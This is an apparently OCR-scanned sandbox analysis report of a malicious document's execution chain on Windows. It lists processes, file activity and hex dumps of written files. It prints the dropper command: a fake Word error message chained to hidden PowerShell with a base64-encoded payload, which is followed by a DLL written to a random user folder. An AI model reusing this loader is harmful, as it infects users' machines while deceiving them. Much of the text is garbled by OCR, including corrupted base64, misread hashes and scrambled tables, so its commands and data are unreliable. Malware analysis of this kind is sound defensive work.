00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00

Completion

Source
Count Address Symbol
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Key Path

Name

Type

00 00 00 00 00 00 00 00 00 00
20PD AR 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00
00 00 00

00 00 00 00 00 00 00 00 00 00
R@RODHH0 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 FF FF FF FF 00 00 00 00 00
00 00 00

Completion

Source
Count Address Symbol

Analysis Process: cmd.exe PID: 7000 Parent PID: 4940

General

Start time:
Start date:
Path:

Wow64 process (32bit):

Copyright null 2021

11:52:51

07/01/2021

C:\Windows\System32\cmd.exe

false
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Commandline: cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file.
& PrOwer"she L L -w hidden -ENCOD IAAgGACQAVQA2ADMANQAX
ADOAWWBUAFKACABFAFOAKAAIAHSAMgBIAHSAMABIAHSAMQBOAHSANABIAHSA
MwB9AHSANQBIACIAIAAtAEYAIAANAHKAUWBUAEUABQAUAGKAIJWASACCATWAU
AGQAaQANACWAJIWBZACCALAANAEUAYWBUAEBAIWASACCAUgANACWAIWBSAFKA
JWAPACAAIAATACQATWBMAFYAIAAIACAAWWBOAFKACABIAFOAKAAIAHSAMABY
AHSANWB9AHSAMQB9AHSAOABIAHSAMWBIAHSANgBIAHSANQBIAHSAMgBIAHSA
NABOACIAIAAtAEY AJwBzAFKAJWASACCAVABFAGOALGBOAEUAJIWASACCAbgBO QBMAFUARQBVAE4ATAB5ACAAKQABADOAIGBJAFIARQBJAEEAVABI
AGQASQBYAGAAZQBDAGAAVABVAHIAeQAIACJAJABIAEBATQBFACAAKWAGACYA
KAANAHSAMABIAE4AIWArACgAIWBZAGCAaAANACSAIWBVACCAKQAIrACCAaABO
AHSAMAB9ACCcAKWANAECAJWArACCAYgANACSAKAANAGGANQBYACCAKWANADKA
bwANACKAKWANAHSAMABIACCAKQAJACOAZGAgGACAAWWBIAEgAY QBSAFOAOQAY QANACKAKWANACBAQAANACSAKAANAFOAIWATACCAY gAY
AFSAcwABACBAIWAPACSAKAANACBAIWArACCAMAAWACCAKQArACcAegAnACsA
KAANAHKAJWArACcAawB1ACCcAKQArACCcALgANACSAIWBJAGBAIWArACgAIWBL
AC8AdWANACSAIWBWACCAKWANACOAY QBKAGOAaQBUACBAIWATACCAZQANACKA AWAAVAEAAIWAPACSAKAAN ABWAEWASQBUACIA
KAAKAEUAXWBFAFYAIAArACAAJABZAHQAZABFAHAACABIACAAKWAGACQAQWAL
ADQAWQAPADSAJABKADMANWBWADOAKAAOACCARWALIACCAKWANADIAIWAPACSA
JWBDACCAKQA7AGYAbwBYAGUAYQBJAGJAIAACACQAWQBMAHAAZAB2AHUACgAY
AGKAbgAgACQASQBSAGUAXWB2AGEAY QApPAHSAJABYAHKAeWAOACAAKAANAELA QBrADSAJABGADIANABUADOA
KAANAESAJWArACgAIJWAzZACCAKWANADGATAANACKAKQBOAHOAYWBhAHQAYWBO
AHsAfQBOACQAQQAZADEASQA9ACYAIWBWACCAKWAOACCAOAANACSAIWALAEOA
JWApPACKA
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Imagebase: 0x7ff77d8b0000

File size: 273920 bytes

MDS5 hash: 4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Path Access Attributes Options Completion

Source
Count Address Symbol

Analysis Process: conhost.exe PID: 7012 Parent PID: 7000

General

Start time: 11:52:52

Start date: 07/01/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
Imagebase: 0x7ff6b2800000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Analysis Process: msg.exe PID: 7044 Parent PID: 7000

General

Start time: 11:52:52

Start date: 07/01/2021

Path: C:\Windows\System32\msg.exe

Wow64 process (32bit): false

Commandline: msg user /v Word experienced an error trying to open the file.
Imagebase: 0x7ff7e7960000

File size: 26112 bytes

MDS5 hash: EEB395D8DD3C1D6593903BD640687948
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

File Activities

File Path Access Attributes Options Completion

Source
Count Address Symbol

Analysis Process: powershell.exe PID: 7064 Parent PID: 7000

General
Start time: 11:52:52
Start date: 07/01/2021

Copyright null 2021
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Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false
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Commandline: POwersheLL -w hidden -ENCOD IAAGACQAVQA2ADMANQAXADOAW
WBUAFKACABFAFOAKAAIAHSAMgBIAHSAMABIAHSAMQBIAHSANABIAHSAMWBIA
HSANQBOACIAIAAtAEYAIAANAHKAUWBUAEUADQAUAGKAJWASACCATWAUAGQAa
QANACWAJIWBZACCALAANAEUAYWBUAEBAIWASACCAUgANACWAIWB SAFKAIWADA QBSAFOAOQAYACKAK QBKAGOAaQBUACBAIWArACCAZQANACKAKWAOACgAIWBMACCAKWANAEBASQBSACCAKWANAFY AWAAVAEAAIWAPACSAKAANAFOAY
gAYyACCAKWANAFSAIJWAPACSAKAANAHMACWABACBAIWArACCALWANACKAKWAOA
CcACABOACCAKWANAGEAdWANACKAKWAOACCAY QBSAGEAIWArACCAZWBIACCAK
QArACcAbgANACSAKAANAGMAeQANACSAIWAUAGMAbwWBLACBAIJWAPACSAIWB3A
CcAKWANAHAAIWAIrACgAIJWAtACCAKWANAGEAZAANACKAKWANAGOAaQANACSAJ
WBUACCAKWAOACCALWANACSAIWBIAFgAbwANACKAKWANADQAYgANACSAJWAVA
CcAKQAUACIACgBIAHAAYABMAGAAQQBDAEUAIgGAOACJAKAANAFOAY gANACSAJ
WAYAFSAIJWAPACsAIWBzACCAKQASACgAWWBhAHIAcgBhAHKAXQAOACCACWBKA
CcALAANAHMAJWANACKALAAOACCAAAANACSAKAANAHQAJAANACSAIWBWACCAK
QAPACWAIWAZAGQAIWAPAFSAMQBAACKALgAIAHMAY ABWAEWASQBUACIAKAAKA
EUAXWBFAFYAIAATACAAJABZAHQAZABFAHAACABIACAAKWAGACQAQWALADQAW
QApADsSAJABKADMANWBWADOAKAAOACCARWALACCAKWANADIAIWAPACSAIWBDA
CcAKQAT7AGYAbwBYAGUAY QBJAGJAIAACACQAWQBMAHAAZAB2AHUACgAgAGKAD
gAgACQASQBSAGUAXWB2AGEAYQApAHSAJABYAHKkAewAOACAAKAANAE4AZQB3A
COAJWATrACCATWBIACCAKWANAGOAZQBJAHQAIWAPACAAUWBZAHMAJABIAGOAL
gBUAEUAJAAUAHCAZQBIAGMATABPAEUAbgBUACKALGAIAEQAbWBXAGAATGBgA
GWAYABVAGEAZABMAEKADBABIACIAKAAKAFKAZgBWAGQAdgB1AHIALAAGACQAW
gBJADCAbgA3AHKAXWAPADSAJABXADAAMgBIADOAKAANAEMAIWATACgAIWALA
DKAJWArACCAWAANACKAKQA7AEKAZGAgACIAKAAUACYAIWBHAGUAJAALAEKAT
WArACCcAdABIAGOAIJWAPACAAIJABaAGMANWBUADCAe QBfACKALJAIAEWARQBUA
EcAYABUAEgAIgAgACOAZWBIACAAMWA4ADQAMQAZACKAIAB7ACAAKAANAHIAJ
WArACcAdQBUACCAKWANAGQADABSADMAMgANACKAIAAKAFOAYWA3AGAANWB5A
F8ALAAOACCAQWBVACCAKWAOACCAbgBOACCAKWANAHIAbWANACKAKWAOACCAD
ABfAFIAJWArACcAdQANACSAIWBUAEQATAANACKAKWANAEWAIWAPACAAIgBOA
G8AcWBOAGAAUGBJAEKATgBHACIAKAAPADSAJABVADCAOABXADOAKAANAEOAM
AANACSAIWAXAE4AIWAPADSAYgBYAGUAY QBrADSAJABGADIANABUADOAKAANA
ESAJWArACgAIWAZACCAKWANADGATAANACKAKQBIAHOAYWBhAHQAYWBOAHSAF
QBIACQAQQAZADEASQA9ACIAIWBWACCAKWAOACCAOAANACSAIWALAEOAIWAPACKA

Imagebase: 0x7ff785e30000
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File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Path

C:\Users\user

C:\Users\user\AppData\Roaming

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

Copyright null 2021

447488 bytes

95000560239032BC68B4C2FDFCDEF913

true

true

Net C# or VB.NET

.

high

read data or list device

read data or list device

read data or list device

read data or list device

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.289454945.0000018A154BB000.00000004.00000001.sdmp, Author:
Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000003.278200486.0000018A2C3D3000.00000004.00000001.sdmp,
Author: Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.280486298.0000018A13D20000.00000004.00000040.sdmp, Author:
Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.290625263.0000018A2C1D0000.00000004.00000001.sdmp,
Author: Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.289399769.0000018A15456000.00000004.00000001.sdmp, Author:
Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.280124224.0000018A123D5000.00000004.00000040.sdmp, Author:
Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.289286993.0000018A153A0000.00000004.00000001.sdmp, Author:
Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.290618766.0000018A2C1C0000.00000004.00000001.sdmp,
Author: Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.289171312.0000018A152BB000.00000004.00000001.sdmp, Author:
Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.289463456.0000018A154C9000.00000004.00000001.sdmp, Author:
Florian Roth

Rule: PowerShell_Case_Anomaly, Description: Detects obfuscated PowerShell hacktools,
Source:
00000004.00000002.289073167.0000018A15205000.00000004.00000001.sdmp, Author:
Florian Roth

Source

Attributes Options Completion Count Address Symbol

directory file |  object name collision 1 7FFB4D80F1E9 unknown
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file |  object name collision 1 7FFB4D80F1E9 unknown
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file |  object name collision 1 7FFB499503FC unknown
synchronous io

non alert | open

for backup ident

| open reparse

point

directory file |  object name collision 1 7FFB499503FC unknown
synchronous io

non alert | open

for backup ident

| open reparse

point
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File Path

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_avja2edr.udc.psl

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_ga55wgul.34a.psml

C:\Users\user\Documents\20210107

C:\Users\user\Documents\20210107\PowerShell_transcr
ipt.494126.5cvYSIfl.20210107115253.txt

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Windows\system32\catroot

C:\Windows\system32\catroot2

C:\Users\user\Nsghoht

C:\Users\user\Nsghoht\Gbh5r90

C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\Mod
uleAnalysisCache

File Deleted

Copyright null 2021

Access

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic write

read data or list
directory |
synchronize

read attributes |
synchronize |
generic read |
generic write

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read data or list
directory |
synchronize

read attributes |
synchronize |
generic write

read attributes |
synchronize |
generic read |
generic write

Attributes

device

device

device

device

device

device

device

device

device

device

device

device

device

device

Options

sequential only |
synchronous io
non alert | non
directory file |
open no recall

sequential only |
synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
open no recall

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

directory file |
synchronous io
non alert | open
for backup ident
| open reparse
point

synchronous io
non alert | non
directory file |
open no recall

synchronous io
non alert | non
directory file |
open no recall

Completion

success or wait

success or wait

success or wait

success or wait

object name collision

object name collision

object name collision

object name collision

object name collision

object name collision

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FFB4C636FDD

7FFB4C636FDD

7FFB4C63F35D

7FFB4C636FDD

7FFB499503FC

7FFB499503FC

7FFB499503FC

7FFB499503FC

7FFB499503FC

7FFB499503FC

7FFB4C63F35D

7FFB4C63F35D

7FFB4C636FDD

7FFB4C636FDD

Symbol
CreateFileWw

CreateFileWw

CreateDirectoryW

CreateFileWw

unknown

unknown

unknown

unknown

unknown

unknown

CreateDirectoryW

CreateDirectoryW

CreateFileWw

CreateFileWw
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File Path

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_avja2edr.udc.ps1

C:\Users\user\AppData\Local\Temp\__PSscriptPolicyTest_ga55wgul.34a.psm1

C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll

File Written

File Path

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_avja2edr.udc.psl

C:\Users\user\AppData\Local\Temp\__PSscr
iptPolicyTest_ga55wgul.34a.psml

C:\Users\user\Documents\20210107\PowerShell_transcr
ipt.494126.5cvYSIfl.20210107115253.txt

C:\Users\user\Documents\20210107\PowerShell_transcr
ipt.494126.5cvYSIfl.20210107115253.txt

Copyright null 2021

Offset Length

unknown 1

unknown 1

unknown 3

unknown 4096

Value

31

31

ef bb bf

2a 2a2a2a2a?2a?2a
2a 2a2a?2a2a?2a?2a
2a2a2a?2a2a?aZ?a
2a 0d 0a 57 69 6e 64
6f 77 73 20 50 6f 77
65 72 53 68 65 6¢ 6¢C
2074 72 61 6e 73 63
72697074207374
6172 74 0d 0a 53 74
6172 74 20 74 69 6d
65 3a 20 3230 32 31
30313037313135
323534 0d 0a 55 73
65 72 6e 61 6d 65 3a
20 44 45 53 4b 54 4f
50 2d 37 31 36 54 37
3731 5c 68617264
7a0d 0a 52 75 6e 41
732055736572 3a
20 44 45 53 4b 54 4f
50 2d 37 31 36 54 37
37 315c 68617264
7a 0d Oa 43 6f 6e 66
69 67 7572 61 74 69
6f 6e 20 4e 61 6d 65
3a 20 0d Oa 4d 61 63
68 69 6e 65 3a 20 34
3934 3132362028
4d 69 63 72 6f 73 6f
66 74 20 57 69 6e 64
6f 77 73 20 4e 54 20
31 30 2e 30 2e 31 37
31 33 34 2e 30 29 0d
0a 48 6f 73 74 20 41
70 70 6¢ 69 63 61 74
69 6f 6e 3a 20 50 4f
776572

Source

Completion Count Address Symbol
success or wait 1 7FFB4C63F270 DeleteFileW
success or wait 1 7FFB4C63F270 DeleteFileW
success or wait 4 7FFB4C63F270 DeleteFileW

Source

Ascii Completion Count Address Symbol
1 success or wait 1 7FFB4C63B526 WriteFile
1 success or wait 1 7FFB4C63B526 WriteFile
success or wait 1 7FFB4C63B526 WriteFile
Fxkkkkkkkkekik_Windo  success or wait 1 7FFB4C63B526 WriteFile

ws PowerShell transcript

start..Start time:

20210107115254..Userna
me: computer\user..RunAs

User:

computer\user..Configurati

on Name: ..Machine:
494126 (Microsoft
Windows NT
10.0.17134.0)..Host
Application: POwer
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File Path

C:\Users\user\Documents\20210107\PowerShell_transcr
ipt.494126.5cvYSIfl.20210107115253.txt

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

Copyright null 2021

Offset Length Value

unknown 1722

unknown 4096

4172414367 41 4a
77417441436341
4b 77 41 6e 41 47 45
415a41416e4143
6b 41 4b 77 41 6e 41
47 3041615141 6e
414373414a77 42
7541436341 4b 77
41 6f41 43 6341 4c

7741641437341
4a 77 42 74 41 46 67
41627741 6e 4143
6b 41 4b 77 41 6e 41
4451 41 59 67 41 6e
414373414a77 41
76 41 4363 414b 51
4175414349 4163
67 42 6¢ 4148 4141
5941 42 4d 41 47 41
4151514244 4145
5541 49 67 41 6f 41

43 67 41 4b 41 41 6e
4146 304159 67 41
6e414373414a77
417941467341 4a
77417041437341
4a 77 42 7a 41 43 63
414b 5141734143
67 415777 4268 41
48 49 41 63 67 42 68
4148 6b 41 58 51 41
6f41 43 63416377

42 6b 41 43 63 41 4c
4141 6e41484d41
64 77 41 6e 41 43 6b
414c41416f4143

63 4161

50 53 4d 4f 44 55 4c
4543 4143 48 4501
0f 00 00 00 c0 50 d5
65 ca 9f d5 08 53 00
00 00 43 3a 5¢ 50 72
6f 67 72 61 6d 20 46
69 6¢ 65 73 5¢ 57 69
6e 64 6f 77 73 50 6f
77657253 68 65 6C
6¢ 5¢c 4d 6f 64 75 6¢
65 73 5¢ 50 6f 77 65
72 53 68 65 6¢ 6C 47
65 74 5¢ 31 2e 30 2e
30 2e 31 5¢ 50 6f 77
65 72 53 68 65 6¢ 6C
47 6574 2e 70 73 64
31 1d 00 00 00 10 00
00 00 55 6e 69 6e 73
74 61 6¢ 6¢ 2d 4d 6f
64 75 6¢ 65 02 00 00
00 04 00 00 00 69 6e
6d 6f 01 00 00 00 04
00 00 00 66 69 6d 6f
01 00 00 00 Oe 00 00
00 49 6e 73 74 61 6¢
6¢ 2d 4d 6f 64 75 6¢
65 02 00 00 00 12 00
00 00 4e 65 77 2d 53
63 72 69 70 74 46 69
6¢ 65 49 6e 66 6f 02
00 00 00 Oe 00 00 00
50 75 62 6¢ 69 73 68
2d 4d 6f 64 75 6¢ 65
02 00 00 00 Oe 00 00
00 49 6e 73 74 61 6¢
6¢ 2d 53 63 72 69 70
74 02 00

Ascii Completion

ArACgAJWAtACCAKWANA success or wait
GEAZAANACKA
KwANAGOAaQANACsAJw
BUACCAKWAOAC
CALWANACSAJWBtAFgADb
WANACKAKWAN
ADQAYgANACSAIWAVAC
cAKQAUACIAcg
BIAHAAYABMAGAAQQB
DAEUAIgAOACgA
KAANAFOAYgANACsAIWA
YAFSAJWApPAC
SAJwWBzACCcAKQASACgA
WwBhAHIAcgBh
AHKAXQAO0ACCcAcwWBKAC
CALAANAHMAdw
AnACKALAAOACcAa

PSMODULECACHE......P. success or wait
e....S...C:\Program

Files\WindowsPowerS
hel\Modules\PowerShellG

et\1.0

.0.1\PowerShellGet.psd1l...

.....Uninstall-

Module........iInmo.
....Install-Mod
ule........ New-scr
iptFilelnfo........ Publish-
Module........ Install-
scr<wbr>ipt..

Source

Count Address Symbol

17

1

7FFBAC63B526 WriteFile

7FFBAC63B526 WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Mi
crosoft\Windows\PowerShell\ModuleAnalysisCache

Copyright null 2021

Offset
unknown 4096

unknown 3414

Length Value

00 53 74 6f 70 2d 50

72 6f 63 65 73 73 08
00 00 00 Of 00 00 00
52657374617274
2d 53 65 72 76 69 63
65 08 00 00 00 10 00
00 00 52 65 73 74 6f
72 65 2d 43 6f 6d 70

7574 657208 00 00
00 Oc 00 00 00 43 6f

6e 76 65 72 74 2d 50
61 74 68 08 00 00 00
11 00 00 00 53 74 61
7274 2d 5472 61 6e
73 61 63 74 69 6f 6e

08 00 00 00 Oc 00 00
0047 65 74 2d 54 69
6d 65 5a 6f 6e 65 08

00 00 00 09 00 00 00
43 6f7079 2d 49 74

65 6d 08 00 00 00 Of

00 00 00 52 65 6d 6f

76 65 2d 45 76 65 6e
74 4c 6f 67 08 00 00

00 Ob 00 00 00 53 65
74 2d 43 6f 6e 74 65

6e 74 08 00 00 00 Ob
00 00 00 4e 65 77 2d
53 65 72 76 69 63 65
08 00 00 00 0a 00 00
00 47 65 74 2d 48 6f

74 46 69 78 08 00 00
00 0f 00 00 00 54 65

73 74 2d 43 6f 6e 6e

65 63 74 69 6f 6e 08

00 00 00 Of 00 00 00

476574

2d 50 65 73 74 65 72
470 74 69 6f 6e 02
00 00 00 0d 00 00 00
49 6e 76 6f 6b 65 2d
506573 74 65 72 02
00 00 00 12 00 00 00
52 65 73 6f 6¢ 76 65
54 6573 7453 63 72
69 70 74 73 02 00 00
00 14 00 00 00 53 65
74 2d 53 63 72 69 70
74 42 6c 6f 63 6b 53
63 6f 70 65 02 00 00
00 00 00 00 00 f8 77
dc 65 ca 9f d5 08 61
00 00 00 43 3a 5¢ 50
72 6f 67 72 61 6d 20
46 69 6¢ 65 73 20 28
78 38 36 29 5¢ 57 69
6e 64 6f 77 73 50 6f
776572 53 68 65 6C
6¢ 5¢c 4d 6f 64 75 6¢
65 73 5¢ 50 61 63 6b
61 67 65 4d 61 6e 61
67 65 6d 65 6e 74 5¢c
31 2e 30 2e 30 2e 31
5c 50 61 63 6b 61 67
65 4d 61 6e 61 67 65
6d 65 6e 74 2e 70 73
64 31 0d 00 00 00 11
00 00 00 53 65 74 2d
50 61 63 6b 61 67 65
53 6f 75 72 63 65 08
00 00 00 18 00 00 00
55 6e 72 6567 69 73
74 6572 2d 50 61 63
6b 61 67

Source

Ascii Completion Count Address
.Stop- success or wait 1 7FFB4C63B526
Process........ Restart-S

ervice........ Restore-

Computer........ Convert-

Path........ Start-

Transaction........ Get-Tim

ezZone........Copy-ltem..

Remove-

EventLog........ Set-Con

tent........ New-Service.......

.Get-HotFix........ Test-

Connection........ Get

-PesterOption........ Invoke- success or wait 1 7FFB4C63B526
[Pz

ster........ResolveTestscr

ipts........Set-scr<wbr
>iptBlockScope......... W.e...
.a...C:\Program Files
(x86)\Win
dowsPowerShell\Modules\
Package
Management\1.0.0.1\Pack
ageMana
gement.psdl........ Set-
Package

Source........ Unregister-
Packag

Symbol
WriteFile

WriteFile
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\Nsghoht\Gbh5r90\Q27V.dll unknown 15732 4d 5a 9000030000 MZ.........cccoeueneen. @..... success or wait 27 7FFB4C63B526 WriteFile
00 04 00 00 00 ff ff

00 00 b8 00 00 00 00 .. L.IThis program
00 00 00 40 00 00 00 cannot be run in DOS

00 00 00 00 00 00 00 mode....

00 00 00 00 00 00 00 $
00 00 00 00 00 00 00
00 00 00 00 00 00 00 ..
00 00 00 00 10 01 00 ..
00 Oe 1f ba Oe 00 b4
09 cd 21 b8 01 4c cd
21546869 73 20 70
72 6f 67 72 61 6d 20
63 61 6e 6e 6f 74 20
62 65 20 72 75 6e 20
69 6e 20 44 4f 53 20
6d 6f 64 65 2e 0d 0d
0a 24 00 00 00 00 00
00 00 f1 f3 83 42 b5
92ed11b592ed 11
b592 ed 11 al f9 ee
10be 92 ed 11 a1 f9
e8103d92ed 11 al
f9e9 10 a7 92 ed 11
4d e2 €9 10 ba 92 ed
11 4d e2 ee 10 a4 92
ed 11 4d e2 e8 10 94
92 ed 1l alf9ecl0
b2 92 ed 11 b5 92 ec
113992 ed 1102 e3
€810 b6 92 ed 11 02
e3ed10hb4 92 ed 11
02e31211b4 92 ed
11 b592 7a 11 b4 92
ed 11 02 e3 ef 10 b4
92 ed 11 52 69 63 68

b5 92 ed
C:\Users\user\AppData\Local\Mi unknown 64 40000001 650000 @...e success or wait 1 7FFB4DC2F6E8 WriteFile
crosoft\Windows\PowerShell\StartupProfileData- 00 00 00 00 00 00 00
Noninteractive 00 00 00 00 00 00 00

00 00 00 01 00 00 00

00 00 00 00 00 00 00

00 f5 01 00 00 00 00

00 00 00 00 00 00 00

00 00 00 04 40 00 80

00 00 00 00 00 00 00

00

File Read

File Path Offset Length Completion Count Source Address Symbol
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFB4D6DB9DD unknown
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFB4D6DB9DD unknown
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 7FFB4D6DB9DD unknown
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 7FFB4D6DB9DD unknown
C:\Windows\assembly\Nativelmages_v4.0.30319_64\mscorlib\ac26 unknown 176 success or wait 1 7FFB4D7B12E7 ReadFile
e2af62f23e37e645b5e44068a025\mscorlib.ni.dll.aux
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 4095 success or wait 1 7FFB4D6E2625 ReadFile
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe.config unknown 8173 end of file 1 7FFB4D6E2625 ReadFile
C:\Windows\Microsoft. NET\Framework64\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 7FFB4D6E2625 ReadFile
C:\Windows\assembly\Nativelmages_v4.0.30319_64\Microsoft.Pb3 unknown 1248 success or wait 1 7FFB4D7B12E7 ReadFile
78ec07#\58553ff4dedfOb1dd22a283773a566fc\Microsoft.PowerShell.ConsoleHost.ni.dll.aux
C:\Windows\assembly\Nativelmages_v4.0.30319_64\System\10a171 unknown 620 success or wait 1 7FFB4D7B12E7 ReadFile
39182a9efd561f01fada9688a5\System.ni.dll.aux
